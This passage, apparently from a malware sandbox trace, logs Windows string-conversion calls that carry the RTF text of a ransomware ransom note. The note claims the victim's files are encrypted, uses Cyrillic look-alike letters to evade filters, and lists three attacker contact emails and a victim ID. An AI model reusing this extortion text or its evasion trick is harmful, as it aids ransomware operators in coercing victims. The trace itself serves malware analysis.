-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 